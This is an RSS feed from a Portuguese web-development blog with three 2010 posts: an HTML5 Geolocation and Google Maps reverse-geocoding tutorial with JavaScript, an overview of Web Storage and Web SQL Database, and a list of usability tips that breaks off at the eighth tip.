<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Blog do Marcos &#187; Usabilidade</title>
	<atom:link href="http://marcos.blog.br/category/usabilidade/feed/" rel="self" type="application/rss+xml" />
	<link>http://marcos.blog.br</link>
	<description>badulaques, gadgets e outros...</description>
	<lastBuildDate>Mon, 12 Jul 2010 21:15:50 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.0</generator>
		<item>
		<title>Localização do Usuário com a API Geolocation do HTML5</title>
		<link>http://marcos.blog.br/2010/07/localizacao-do-usuario-com-a-api-geolocation-do-html-5/</link>
		<comments>http://marcos.blog.br/2010/07/localizacao-do-usuario-com-a-api-geolocation-do-html-5/#comments</comments>
		<pubDate>Sat, 10 Jul 2010 00:01:10 +0000</pubDate>
		<dc:creator>Marcos</dc:creator>
				<category><![CDATA[HTML5]]></category>
		<category><![CDATA[JavaScript]]></category>
		<category><![CDATA[Usabilidade]]></category>
		<category><![CDATA[Web]]></category>
		<category><![CDATA[Geolocation]]></category>
		<category><![CDATA[html5]]></category>
		<category><![CDATA[jQuery]]></category>

		<guid isPermaLink="false">http://marcos.blog.br/?p=262</guid>
		<description><![CDATA[Sempre existiu diversas formas de saber a localização física do usuário através de sites que prestavam este serviço e claro, os mais eficientes eram pagos e a integração (ao menos dos que testei) eram horríveis. Com a API Geolocation que está vindo com HTML5, saber a localização de quem visita seu site se tornou bem ]]></description>
			<content:encoded><![CDATA[<p><a  href="http://marcos.blog.br/wp-content/uploads/2010/07/geolocation.jpg" rel="lightbox[262]" title="geolocation"><img class="alignleft size-full wp-image-268" title="geolocation" src="http://marcos.blog.br/wp-content/uploads/2010/07/geolocation.jpg" alt="" width="226" height="210" /></a>Sempre existiu diversas formas de saber a <strong>localização física do usuário</strong> através de sites que prestavam este serviço e claro, os mais eficientes eram pagos e a integração (ao menos dos que testei) eram horríveis.</p>
<p>Com a <strong><a  href="http://www.w3.org/TR/geolocation-API/" target="_blank">API Geolocation</a></strong> que está vindo com <strong>HTML5</strong>, saber a <strong>localização de quem visita seu site se tornou bem simples</strong>. As aplicações para esta API são inúmeras e a qualidade do serviços prestados por sites podem melhorar significativamente com esta facilidade, e o melhor, <strong>de forma gratuita</strong>.</p>
<p>Lembrando que nem todos os navegadores novos suportam esta API. Fiz testes no Google Chrome 5.0.375.99, Firefox 3.6.6 e no Opera 10.60 (todos na versão Linux, claro). Li por aí que o Internet Explorer 8 tem uma implementação de teste. Então se alguém testar no IE, favor deixar nos comentários informações sobre seu suporte.</p>
<p>A <strong>API Geolocation prevê a captura da posição geográfica</strong>, ou seja,<strong> latitude e longitude</strong>. E isso já resolve tudo. Com as coordenadas geográficas é <strong>possível integrar com outras ferramentas</strong> e obter o <strong>logradouro</strong> e até mesmo integrando com o Google Maps <strong>gerar um mapa com a localização do usuário</strong>.</p>
<blockquote><p>Lembrando: Se você tem dúvida se o seu navegador suporta esta API, use o site <a  href="http://html5test.com/" target="_blank">html5teste.com</a> e procure por <strong>Geolocation</strong>.</p></blockquote>
<p><br/></p>
<h2>Segurança</h2>
<p>Se você está preocupado com a segurança e não quer que determinados sites saibam sua localização, a documentação da API prevê<strong> autorização prévia do usuário</strong> para o compartilhamento dessa informação com o site em que você está navegando.</p>
<p>Ao acessar um site que deseja utilizar sua localização para agregar algum serviço, provavelmente você verá a mensagem abaixo (Opera):</p>
<p><a  href="http://marcos.blog.br/wp-content/uploads/2010/07/geo-location-autorizacao.png" rel="lightbox[262]" title="geo-location-autorizacao"><img class="alignleft size-full wp-image-264" title="geo-location-autorizacao" src="http://marcos.blog.br/wp-content/uploads/2010/07/geo-location-autorizacao.png" alt="" width="490" height="22" /></a><br/><br/></p>
<p>Muito mais justo do que qualquer site saber a sua localização sem o seu consentimento.<br />
<br/></p>
<h2>Exemplo Simples: Obtendo as Coordenadas Geográficas</h2>
<p>Para entender o funcionamento da <strong>API </strong>vamos a um <strong>simples exemplo para obter as Coordenadas Geográficas</strong>:</p>
<pre class="brush:javascript">
// verifica o suporte do navegador a API Geolocation
if(navigator.geolocation){
	// Obtem a posição atual
	navigator.geolocation.getCurrentPosition(

	// Em caso de sucesso, obtem a latitude e a longitude
	function(position){
		var lat = position.coords.latitude;
		var lon = position.coords.longitude;
		alert('Latitude:' + lat + ', Longitude: ' + lon);
	},
	// Caso ocorra algum erro (Ex.: O usuário não autorizar o compartilhamento da localização)
	function(error){
		alert('Erro ao capturar localização geográfica.');
	});
}
// Caso o navegador não tenha suporte
else{
	alert('Seu navegador não tem suporte a API Geolocation.');
}
</pre>
<p><a  href="http://marcos.blog.br/exemplos/api-geolocation/w3c-geo-location-api-lat-lon.html" target="_blank"><strong>Clique aqui para ver o exemplo funcionando.</strong></a></p>
<p>Agora que temos as Coordenadas Geográficas, o que fazer com esses números?</p>
<p>Podemos simplesmente saber em qual cidade se localiza essas coordenadas:<br />
<br/></p>
<h2>Obtendo o Endereço Através das Coordenadas</h2>
<p>Existem algumas maneiras de se <strong>obter o endereço através de coordenadas</strong>. Este processo é chamado de “<a  href="http://en.wikipedia.org/wiki/Reverse_geocoding" target="_blank"><strong>reverse geo-coding</strong></a>”. Como no Brasil nós não temos um web service que faz esse trabalho a exemplo do <a  href="http://www.geonames.org" target="_blank">geoNames.org</a> que possui os endereços dos EUA, nós temos que arrumar outra solução.</p>
<p>Então vamos criar uma solução <strong>utilizando a API do Google Maps</strong>. De acordo com os <a  href="http://code.google.com/intl/pt-BR/apis/maps/signup.html" target="_blank">Termos e Utilização da API do Google Maps</a>, você somente pode usar essas informações para exibi-las em um mapa. Qualquer outra forma de exibição é proibida. Porém, existe um meio de extrair essas informações sem imprimi-las em um mapa e que será demonstrado. Lembrando que o código a seguir é apenas um estudo de caso e não pode ser utilizado por ir contra os Termos de Utilização da API do Google Maps.</p>
<p>Para começar, vamos precisar chamar a API do Google Maps e para isso antes temos que <a  href="http://code.google.com/intl/pt-BR/apis/maps/signup.html" target="_blank">gerar uma Chave</a> para autenticação de acordo com o domínio que você for utilizar:<br />
<br/></p>
<pre>
&lt;script type=&quot;text/javascript&quot; src=http://maps.google.com/maps?file=api&amp;v=2.x&amp;key=sua-chave&quot;&gt;&lt;/script&gt;
</pre>
<p><br/><br />
Para conseguir <strong>obter os dados de endereçamento</strong>, vamos utilizar um método chamado <a  href="http://code.google.com/intl/pt-BR/apis/maps/documentation/javascript/v2/reference.html#GClientGeocoder" target="_blank"><strong>GClientGeocoder</strong></a>. Originalmente, este método serve para gerar um endereço que será marcado em um mapa (como no último exemplo deste artigo). Mas não vamos trabalhar com mapas ainda. O código a seguir é capaz de pegar informações separadamente, como na imagem abaixo.</p>
<p><a  href="http://marcos.blog.br/wp-content/uploads/2010/07/Captura_de_tela.png" rel="lightbox[262]" title="Captura_de_tela"><img class="size-full wp-image-270 alignnone" title="Captura_de_tela" src="http://marcos.blog.br/wp-content/uploads/2010/07/Captura_de_tela.png" alt="" width="455" height="120" /></a></p>
<p>Vamos aproveitar o primeiro exemplo para <strong>obter a Latitude e a Longitude da sua localização e depois pegar os dados do endereço</strong>. Veja o código a seguir:</p>
<pre class="brush:javascript">
if(navigator.geolocation){
	navigator.geolocation.getCurrentPosition(
		function(position){
			var lat = position.coords.latitude;
			var lon = position.coords.longitude;

			// Iniciando o GeoCoder
			var geocoder = new GClientGeocoder();
			// Informamos a localização e chamamos uma função no retorno da solicitação
			geocoder.getLocations("("+lat+','+lon+")",localizacao);
			//alert(geocoder);

			function localizacao(retorno){
				if (!retorno || retorno.Status.code != 200) {
					alert("Erro: " + retorno.Status.code);
				} else {
					// Placemark é o objeto que contém as infos do endereço
					// Veja no exemplo as informações que contém no Placemark
					endereco = retorno.Placemark[0];
					alert(endereco.address);
				}
			}
		}
	);
}
</pre>
<p><a  href="http://marcos.blog.br/exemplos/api-geolocation/w3c-geo-location-api-endereco.html" target="_blank"><strong>Clique aqui para ver este código em funcionamento.</strong></a></p>
<p>Até aqui já obtivemos as <strong>Coordenadas Geográficas</strong>, já conseguimos as <strong>Informações de Endereço</strong> e agora vamos mostrar no Mapa a localização do usuário.<br />
<br/></p>
<h2>Exibindo a Localização no Mapa com Google Maps</h2>
<p><a  href="http://marcos.blog.br/wp-content/uploads/2010/07/Captura_de_tela-1.png" rel="lightbox[262]" title="Captura_de_tela-1"><img class="alignnone size-full wp-image-271" title="Captura_de_tela-1" src="http://marcos.blog.br/wp-content/uploads/2010/07/Captura_de_tela-1.png" alt="" width="281" height="284" /></a></p>
<p>Para exibir no mapa, vamos continuar utilizando a <strong>API do Google Maps</strong> modificando o exemplo acima. Veja como fica:</p>
<pre>
<pre class="brush:javascript">
if(navigator.geolocation){
	navigator.geolocation.getCurrentPosition(
		function(position){
			var lat = position.coords.latitude;
			var lon = position.coords.longitude;

			// Iniciando o Mapa
			map = new GMap2(document.getElementById("mapa"));
			// Centralizando na localização
			map.setCenter(new GLatLng(lat,lon), 15);
			// Iniciando o GeoCoder para fazer o Reverter
			geocoder = new GClientGeocoder();
			// Marcando a localização no Mapa
			geocoder.getLocations('('+lat+','+lon+')', exibeEnd);

			// Personalizando a marcação
			function exibeEnd(retorno){
				map.clearOverlays();
				if (!retorno || retorno.Status.code != 200) {
					alert("Erro: " + retorno.Status.code);
				} else {
					place = retorno.Placemark[0];
					point = new GLatLng(place.Point.coordinates[1], place.Point.coordinates[0]);
					marker = new GMarker(point);
					map.addOverlay(marker);
					marker.openInfoWindowHtml(
					'<b>Coordenadas:</b> ' + place.Point.coordinates[1] + "," + place.Point.coordinates[0] + '<br/>' +
					'<b>Logradouro:</b> ' + place.AddressDetails.Country.AdministrativeArea.Locality.DependentLocality.Thoroughfare.ThoroughfareName+ '' +
					'<b>Bairro:</b> ' + place.AddressDetails.Country.AdministrativeArea.Locality.DependentLocality.DependentLocalityName + '<br/>' +
					'<b>Cidade:</b> ' + place.AddressDetails.Country.AdministrativeArea.Locality.LocalityName + '<br/>' +
					'<b>País:</b> ' + place.AddressDetails.Country.CountryNameCode);
				}
			}
		}
	);
}
</pre>
</pre>
<p><a  href="http://marcos.blog.br/exemplos/api-geolocation/w3c-geo-location-api-mapa.html" target="_blank"><strong>Clique aqui para ver este código em funcionamento.</strong></a></p>
<p>Nenhum exemplo desse blog <span style="text-decoration: underline;"><strong>armazena informações do usuário</strong></span> e serve apenas para demonstrar o funcionamento da <strong>API Geolocation</strong>.<br />
<br/></p>
<h2>Conclusão</h2>
<p>A <strong>API Geolocation</strong> realmente<strong> abre um leque de possibilidades</strong> e o que podemos esperar são <strong>aplicações cada vez mais ricas e interativas</strong>, que possam oferecer <strong>serviços de acordo com a localização do usuário</strong>, assim como já fazem alguns aplicativos para dispositivos móveis, ou simplesmente uma empresa poderá exibir em sua <strong>página de contato um &#8220;como chegar&#8221; a partir da sua localização</strong>. Isso pode ser facilmente implementado com poucas modificações no código do artigo &#8220;<a  href="http://marcos.blog.br/2009/10/tracando-rota-com-a-api-do-google-maps/" target="_self"><strong>Traçando Rota com o Google Maps</strong></a>&#8221; publicando neste Blog.</p>
<!-- PHP 5.x -->]]></content:encoded>
			<wfw:commentRss>http://marcos.blog.br/2010/07/localizacao-do-usuario-com-a-api-geolocation-do-html-5/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>HTML 5, Web Storage e Web SQL Database</title>
		<link>http://marcos.blog.br/2010/07/html-5-web-storage-e-web-sql-database/</link>
		<comments>http://marcos.blog.br/2010/07/html-5-web-storage-e-web-sql-database/#comments</comments>
		<pubDate>Wed, 07 Jul 2010 23:36:26 +0000</pubDate>
		<dc:creator>Marcos</dc:creator>
				<category><![CDATA[HTML5]]></category>
		<category><![CDATA[JavaScript]]></category>
		<category><![CDATA[Usabilidade]]></category>
		<category><![CDATA[WebApp]]></category>
		<category><![CDATA[Client-Side]]></category>
		<category><![CDATA[DOM]]></category>
		<category><![CDATA[html5]]></category>
		<category><![CDATA[Web SQL Database]]></category>
		<category><![CDATA[Web Storage]]></category>

		<guid isPermaLink="false">http://marcos.blog.br/?p=187</guid>
		<description><![CDATA[Ouvimos e lemos todos os dias sobre as funcionalidades do HTML5 e suas benfeitorias para um design mais interativo e eficiente, porém existe uma novidade que ainda foi pouco comentada não diz respeito a layout especificamente. Web Storage O Web Storage (ou DOM Storage) é uma API que permite gravar dados no lado do cliente. ]]></description>
			<content:encoded><![CDATA[<p>Ouvimos e lemos todos os dias sobre as funcionalidades do<strong> HTML5</strong> e suas benfeitorias para um design mais interativo e eficiente, porém existe uma novidade que ainda foi pouco comentada não diz respeito a layout especificamente.</p>
<h2>Web Storage</h2>
<p>O <strong><a  href="http://dev.w3.org/html5/webstorage/" target="_blank">Web Storage</a></strong> (ou <strong>DOM Storage</strong>) é uma API que permite gravar dados no lado do cliente. Provavelmente no futuro ela será responsável pela extinção do Cookie.</p>
<p>Suas vantagens são grandes em relação ao Cookie, a começar pela <strong>capacidade de armazenamento de dados</strong>, que varia de navegador para navegador mas mantém uma média de 5mb por domínio, outra vantagem é que ao contrário do cookie ele <strong>não tem data para expirar</strong>, isso acontece somente por questões de espaço e falha de segurança. Um detalhe interessante, é que os dados não são transitados a cada requisição de página com o servidor, como faz o cookie.</p>
<p>Para quem quiser testar a API Web Storage:</p>
<p>Para definir uma variável:</p>
<pre class="brush:javascript">

sessionStorage.setItem('chave','valor');
</pre>
<p>e para resgata-la:</p>
<pre class="brush:javascript">

sessionStorage.getItem('chave');
</pre>
<p>No entanto, o <strong>Web Storage</strong> continua sendo uma forma simples de armazenamento de dados chave/valor, o que não resolve o problema de aplicações que desejam funcionar de maneira <strong>Offline</strong> como farí­amos com o <strong>extinto Google Gears</strong>.</p>
<h2>Web SQL Database</h2>
<p>Para um armazenamento <strong>mais elaborado e de forma estruturada</strong>, o W3C criou <a  href="http://dev.w3.org/html5/webdatabase" target="_blank"><strong>Web SQL Database</strong>.</a> Este é o cara que faz a revolução no armazenamento de dados no lado do cliente.</p>
<p>Como parte do <strong>HTML 5</strong>, o <strong>W3C</strong> está trabalhando em um rascunho do <strong>Web SQL Database  API</strong>, uma especificação que abrange armazenar e acessar dados através de <strong>SQL</strong>. A especificação da linguagem SQL que é descrito na documentação é o de SQLite 3.6.19.</p>
<p>Esta API permite que as páginas da web interajam com um banco de dados incorporado no cliente, o que é útil para aplicações que desejam <strong>armazenar dados localmente ou para navegação offline</strong>.</p>
<p>Infelizmente nem todas as versões novas de navegadores implementaram esta API:</p>
<ul>
<li>Internet Explorer 8.0 –<span style="color: #993300;">Não Suporta</span></li>
<li>Firefox 3.6.3 –<span style="color: #993300;">Não Suport</span><span style="color: #993300;">a</span></li>
<li>Chrome 5.0 – <span style="color: #0000ff;">Suporta</span> (acho que desde a versão 4)</li>
<li>Safari 5.0 –<span style="color: #0000ff;">Suporta</span></li>
</ul>
<p>Por ser um pouco maior, (<span style="text-decoration: line-through;">vou colocar</span>) coloquei o <a  href="http://marcos.blog.br/2010/07/usando-a-api-web-sql-database-do-html-5/" target="_self">exemplo de utilização desta API no próximo artigo</a>.</p>
<p>Queria saber a opinião das pessoas que leem este blog se tem ideias ou projetos em mente para utilização de recursos offline.<br />
Então comente abaixo!</p>
<!-- PHP 5.x -->]]></content:encoded>
			<wfw:commentRss>http://marcos.blog.br/2010/07/html-5-web-storage-e-web-sql-database/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>10 Dicas Úteis de Usabilidade</title>
		<link>http://marcos.blog.br/2009/09/10-dicas-uteis-de-usabilidade/</link>
		<comments>http://marcos.blog.br/2009/09/10-dicas-uteis-de-usabilidade/#comments</comments>
		<pubDate>Wed, 30 Sep 2009 18:42:57 +0000</pubDate>
		<dc:creator>Marcos</dc:creator>
				<category><![CDATA[Usabilidade]]></category>
		<category><![CDATA[Client-Side]]></category>
		<category><![CDATA[Dicas]]></category>
		<category><![CDATA[RIA]]></category>

		<guid isPermaLink="false">http://marcos.blog.br/?p=104</guid>
		<description><![CDATA[Todos concordam que a usabilidade é um aspecto importante do Web design. Se você está trabalhando em um site do tipo portfolio, loja online ou aplicativo Web, tornando suas páginas de fácil e agradável navegação para seus visitantes a usabilidade é fundamental. Muitos estudos têm sido feitos ao longo dos anos sobre vários aspectos de Web e design de interface, e os resultados são valiosos para nos ajudar a melhorar o nosso trabalho. Aqui estão 10 dicas úteis de usabilidade que podem ajudar a melhorar a experiência do usuário em seu site]]></description>
			<content:encoded><![CDATA[<p>Todos concordam que a<strong> usabilidade</strong> é um aspecto importante do Web design. Se você está trabalhando em um site do tipo portfólio, loja online ou aplicativo Web, tornando suas páginas de fácil e agradável navegação para seus visitantes a usabilidade é fundamental. Muitos estudos têm sido feitos ao longo dos anos sobre vários aspectos de Web e design de interface, e os resultados são valiosos para nos ajudar a melhorar o nosso trabalho. Aqui estão <strong>10 dicas úteis de usabilidade</strong> que podem ajudar a melhorar a experiência do usuário em seu site.</p>
<h2>1. A Melhor Forma de Trabalhar com Labels é Acima do Campo</h2>
<p>Um estudo realizado pela UX Matters considerou que a posição ideal para laebls em formulários está acima dos campos. Em muitas formas, os labels são colocados à esquerda dos campos, a criação de um layout de duas colunas, apesar de parecer bom, não é o layout mais fácil de usar. Por que isso? Como os formulários são geralmente orientados verticalmente, <strong>os usuários preenchem o formulário de cima para baixo</strong>. E seguindo o label campo abaixo é mais fácil do que encontrar o campo à direita.</p>
<div id="attachment_119" class="wp-caption alignnone" style="width: 490px"><a  href="http://www.tumblr.com/" target="_blank"><img class="size-full wp-image-119" title="tumblr" src="http://marcos.blog.br/wp-content/uploads/2009/09/tumblr1.png" alt="Tumblr possui um simples e elegante-se formulário que segue a recomendação UX Matter." width="480" height="414" /></a><p class="wp-caption-text">Tumblr possui um simples e elegante-se formulário que segue a recomendação UX Matter.</p></div>
<p>Label com posicionamento a esquerda também representa outro problema: você alinha à esquerda ou a direita os seus labels? alinhamento esquerdo faz com que o formulário seja lido mas desconecta os labels dos campos, o que torna difícil ver qual label se aplica a qual campo. Alinhando-se a direita   inverte: Contribui para uma boa aparência, mas de forma menos legível. Labels acima dos campos funcionam melhor na maioria das circunstâncias. O estudo também descobriu que os labels não devem ser ousados, embora essa recomendação não é conclusiva.</p>
<h2>2. Usuários Focam em Rostos</h2>
<p>Pessoas instintivamente identificam outras pessoas imediatamente. Em páginas da Web, tendemos a focalizar os rostos das pessoas e nos olhos, o que dá uma boa técnica de marketing para atrair a atenção. Mas a nossa atração para os rostos das pessoas e dos olhos é apenas o começo; desejamos olhar realmente no sentido em que a pessoa da imagem está olhando.</p>
<div id="attachment_118" class="wp-caption alignnone" style="width: 490px"><img class="size-full wp-image-118" title="eyes1" src="http://marcos.blog.br/wp-content/uploads/2009/09/eyes11.jpg" alt="Eye-tracking: mapa de calor de um bebê olhando diretamente para nós, a partir do estudo UsableWorld." width="480" height="342" /><p class="wp-caption-text">Eye-tracking: mapa de calor de um bebê olhando diretamente para nós, a partir do estudo UsableWorld.</p></div>
<p><img class="alignnone size-full wp-image-117" title="eyes2" src="http://marcos.blog.br/wp-content/uploads/2009/09/eyes21.jpg" alt="eyes2" width="480" height="344" /></p>
<p>E agora o bebê está olhando para o conteúdo. Observe o aumento de pessoas olhando para o título e texto.</p>
<p>Aqui está o <a  href="http://usableworld.com.au/2009/03/16/you-look-where-they-look/" target="_blank">estudo eye-tracking</a> que demonstra isso. Estamos instintivamente atraídos para rostos, mas se esse cara está procurando algum lugar diferente de nós, vamos também olhar nessa direção. Tire proveito desse fenômeno, chamando a atenção dos usuários para as partes mais importantes da sua página ou anúncio.</p>
<h2>3. Qualidade do Design é um Indicador de Credibilidade</h2>
<p>Vários estudos têm sido realizados para descobrir exatamente o que influencia a percepção das pessoas sobre a credibilidade de um site:</p>
<ul>
<li><a  href="http://captology.stanford.edu/pdf/Stanford-MakovskyWebCredStudy2002-prelim.pdf" target="_blank">Stanford-Makovsy Web Credibility Study 2002: Investiga o que faz hoje Sites com Credibilidade</a></li>
<li><a  href="http://captology.stanford.edu/pdf/p61-fogg.pdf" target="_blank">Que faz um Web site com Crédito? Um relatório sobre um grande estudo quantitativo</a></li>
<li><a  href="http://captology.stanford.edu/pdf/p80-fogg.pdf" target="_blank">Elementos de Credibilidade Computacional</a></li>
<li>Elementos que afetam a credibilidade da Web: Primeiros Resultados de um Relatório de Estudos Próprios (Processo da ACM CHI 2000 Conference on Human Factors in Computing Systems, v.2, New York: ACM Press)</li>
</ul>
<p><a  href="http://feedafever.com/" target="_blank"><img class="alignnone size-full wp-image-116" title="fever" src="http://marcos.blog.br/wp-content/uploads/2009/09/fever1.jpg" alt="fever" width="480" height="361" /></a></p>
<p>Não sabemos se a aplicação do <a  href="http://feedafever.com/" target="_blank">Fever app</a> é boa, mas a interface do usuário elegante do site traz uma grande primeira impressão.</p>
<p>Um dado interessante desses estudos é que os usuários realmente julgam um livro pela capa&#8230; ou melhor, um site pelo seu design. Elementos tais como layout, a coerência, a tipografia, a cor e o estilo de todos afetam a maneira como os usuários percebem o seu site e que tipo de imagem terão de seu projeto. Seu site não deve apenas passar uma boa imagem, mas também o caminho certo para o seu público.</p>
<h2>4. A Maioria dos Usuários <span style="text-decoration: line-through;">Não</span> Usam Rolagem</h2>
<p>Um estudo de Jakob Nielsen sobre o quanto os usuários usam rolagem (priorizando a Usabilidade Web) revelou que apenas 23% dos visitantes usam a rolagem em sua primeira visita a um site. Isto significa que 77% dos visitantes não irá rolar, eles vão apenas visualizar o conteúdo acima da dobra (ou seja, a área da página que está visível na tela sem rolagem para baixo). Além do mais, o percentual de usuários que rolam a página diminui com visitas subsequentes, com apenas 16% em sua segunda visita. Esses dados enfatizam o quão importante é colocar o seu conteúdo-chave em uma posição de destaque, especialmente na página principal.</p>
<p>Isso não significa que você deve entupir tudo na área superior da página, basta que você faça o melhor uso desse espaço. Entupir com conteúdo fará apenas o conteúdo inacessível, quando o usuário vê muita informação, não sabe por onde começar a procurar.</p>
<div id="attachment_109" class="wp-caption alignnone" style="width: 490px"><img class="size-full wp-image-109" title="basecamp" src="http://marcos.blog.br/wp-content/uploads/2009/09/basecamp.jpg" alt="Basecamp faz bom uso do espaço. Acima da dobra (768 pixels de altura), ele mostra uma tela grande, proposição de valor, chamada à ação, lista de clientes, vídeos e lista curta de imagens." width="480" height="339" /><p class="wp-caption-text">Basecamp faz bom uso do espaço. Acima da dobra (768 pixels de altura), ele mostra uma tela grande, proposição de valor, chamada à ação, lista de clientes, vídeos e lista curta de imagens.</p></div>
<p>Isso é muito importante para a página inicial, onde a maioria dos visitantes irá chegar. Portanto, forneça os elementos essenciais lá:</p>
<ol>
<li>Nome do Site;</li>
<li>Valor Proposto pelo Site (isto é, como os usuários se beneficiam ao usá-lo);</li>
<li>Navegação para as principais seções do site que são relevantes para o usuário.</li>
</ol>
<p>No entanto, os hábitos dos usuários mudaram significativamente desde então. Estudos recentes comprovam que os usuários são muito confortáveis com a rolagem e em algumas situações  estão dispostos a rolar para o final da página. Muitos usuários estão mais confortáveis com a rolagem do que com uma paginação, e para muitos usuários a informação mais importante da página não é necessariamente colocado &#8220;acima da dobra&#8221; (que é por causa da variedade de resoluções de exibição disponíveis um termo bastante ultrapassada, obsoleta ). Por isso, é uma boa idéia dividir o layout em seções para facilitar a digitalização, separando-os com um monte de espaço em branco.</p>
<p>Para mais informações, por favor dê uma olhada nos artigos <a  href="http://blog.clicktale.com/?p=19" target="_blank">Unfolding the fold</a> (Clicktale), <a  href="http://www.surl.org/usabilitynews/41/paging.asp" target="_blank">Paging VS Scrolling</a> (Wichita University &#8211; sURL), <a  rel="nofollow" href="http://www.boxesandarrows.com/view/blasting-the-myth-of">Blasting the Myth of the Fold</a> (Boxes and Arrows). (obrigado, Fred Leuck).</p>
<h2>5. Azul é a Melhor Cor Para Links</h2>
<p>Embora dar ao seu projeto um layout único, quando se trata de usabilidade, fazer o que todo mundo está fazendo é o melhor. Siga as convenções, porque quando as pessoas visitam um novo site, o primeiro lugar que vão olhar é para as coisas que estão nos lugares onde eles encontram na maioria dos outros sites, eles usarão de sua experiência para dar sentido a este novo conteúdo. Isso é conhecido como <strong>padrões de uso</strong>. As pessoas esperam que certas coisas sejam o mesmo, como as cores dos links, a localização do logotipo do site, o comportamento de navegação com guias e assim por diante.</p>
<div id="attachment_110" class="wp-caption alignnone" style="width: 490px"><img class="size-full wp-image-110" title="google2" src="http://marcos.blog.br/wp-content/uploads/2009/09/google2.png" alt="O Google mantém todos os links em seus sites azul por uma razão: a cor é familiar para muitos usuários, o que torna mais fácil de localizar." width="480" height="322" /><p class="wp-caption-text">O Google mantém todos os links em seus sites azul por uma razão: a cor é familiar para muitos usuários, o que torna mais fácil de localizar.</p></div>
<p>Que cor deve ter os seus links? A primeira consideração é o contraste: links têm que ser escuro (ou claro) o suficiente para contrastar com a cor de fundo. Em segundo lugar, eles devem se destacar da cor do resto do texto, por isso, não usem links preto com texto em preto. E, finalmente, a pesquisa mostra (Van Schaik e Ling) que, se a usabilidade é a sua prioridade, usando o azul para os links é melhor. A cor padrão do navegador para link  é azul, então as pessoas esperam isso. Escolher uma cor diferente de modo algum é um problema, mas pode afetar a rapidez com que os usuários achem.</p>
<h2>6. O Ideal Para Caixa de Pesquisa são 27 Caracteres de Largura</h2>
<p>Qual é a largura ideal de uma caixa de pesquisa? Existe uma coisa dessas? Jakob Nielsen realizou um estudo de usabilidade no comprimento de caixas de pesquisa do site (priorizando Usabilidade Web). Acontece que a maioria das caixas de pesquisa de hoje são demasiadamente curtas. O problema com caixas curtas é que mesmo que você possa digitar uma consulta longa, apenas uma parte do texto vai ser visível em uma hora, o que torna difícil para rever ou editar o que você digitou.</p>
<p>O estudo constatou que a <strong>caixa de pesquisa média é de 18 caracteres de largura</strong>. Os dados mostraram que 27% das consultas eram demasiadamente longas para caber dentro dele. <strong>Estendendo a caixa para 27 caracteres se atende 90% das consultas</strong>. Lembre-se, você pode definir larguras usando ems, não apenas pixels e points. Um &#8220;em&#8221; é a largura e altura de um caractér &#8220;m&#8221; (usando qualquer tamanho da fonte o site também usará). Então, use essa medida para dimensionar a largura do campo de entrada de texto até 27 caracteres de largura.</p>
<div id="attachment_111" class="wp-caption alignnone" style="width: 421px"><img class="size-full wp-image-111" title="apple" src="http://marcos.blog.br/wp-content/uploads/2009/09/apple.jpg" alt="A caixa de pesquisa da Apple é um pouco curta demais, cortando a consulta, &quot;Microsoft Office 2008.&quot;" width="411" height="194" /><p class="wp-caption-text">A caixa de pesquisa da Apple é um pouco curta demais, cortando a consulta, &quot;Microsoft Office 2008.&quot;</p></div>
<p>Em geral, as caixas de pesquisa são melhores compridas do que curtas, de modo que os usuários podem rapidamente analisar, verificar e submeter à consulta. Esta orientação é muito simples, mas, infelizmente, muitas vezes rejeitada ou ignorada. Alguns preenchimentos no campo de entrada também pode melhorar o design e experiência do usuário.</p>
<h2>7. Espaço em Branco Melhora a Compreensão</h2>
<p>A maioria dos designers sabem o valor do espaço em branco, que é o espaço vazio entre os parágrafos, imagens, botões e outros itens na página. O espaço em branco ordena uma página dando  espaço para os itens respirarem. Nós também podemos agrupar itens, diminuindo o espaço entre eles e aumentando o espaço entre eles e outros itens na página. Isso é importante para mostrar as relações entre os itens (por exemplo, mostrando que este botão aplica-se a este conjunto de itens) e a construção de uma hierarquia de elementos na página.</p>
<div id="attachment_112" class="wp-caption alignnone" style="width: 490px"><img class="size-full wp-image-112" title="netsetter" src="http://marcos.blog.br/wp-content/uploads/2009/09/netsetter.jpg" alt="Observe a grande margem de conteúdo, preenchimento e espaçamento sobre o Netsetter. Todo o espaço que torna o conteúdo fácil e confortável para ler." width="480" height="400" /><p class="wp-caption-text">Observe a grande margem de conteúdo, preenchimento e espaçamento sobre o Netsetter. Todo o espaço que torna o conteúdo fácil e confortável para ler.</p></div>
<p>O espaço em branco também torna o conteúdo mais legível. Um estudo (Lin, 2004) descobriu que <strong>o bom uso do espaço em branco entre parágrafos e nas margens esquerda e direita aumenta a compreensão em quase 20%</strong>. Os leitores acham mais fácil se concentrar no processo e conteúdo generosamente espaçadas.</p>
<p>De fato, de acordo com Chaperro, Shaikh e Baker, o layout de uma página Web (incluindo espaços em branco, cabeçalhos, recuo e números) não podem influenciar o desempenho mensurável, mas não influenciam a satisfação do usuário e experiência.</p>
<h2>8. Um Teste De Usuário Eficaz Não Tem Que Ser Extenso</h2>
<p>Um <a  href="http://www.useit.com/alertbox/20000319.html" target="_blank">estudo de Jakob Nielsen</a> sobre o número ideal de cobaias de testes de usabilidade mostra que os testes com apenas cinco usuários revelaria cerca de 85% de todos os problemas com o seu site, enquanto que 15 usuários se encontraria praticamente todos os problemas.</p>
<div id="attachment_113" class="wp-caption alignnone" style="width: 490px"><img class="size-full wp-image-113" title="usertests" src="http://marcos.blog.br/wp-content/uploads/2009/09/usertests.png" alt="Fonte: Jakob Nielsen’s AlertBox" width="480" height="287" /><p class="wp-caption-text">Fonte: Jakob Nielsen’s AlertBox</p></div>
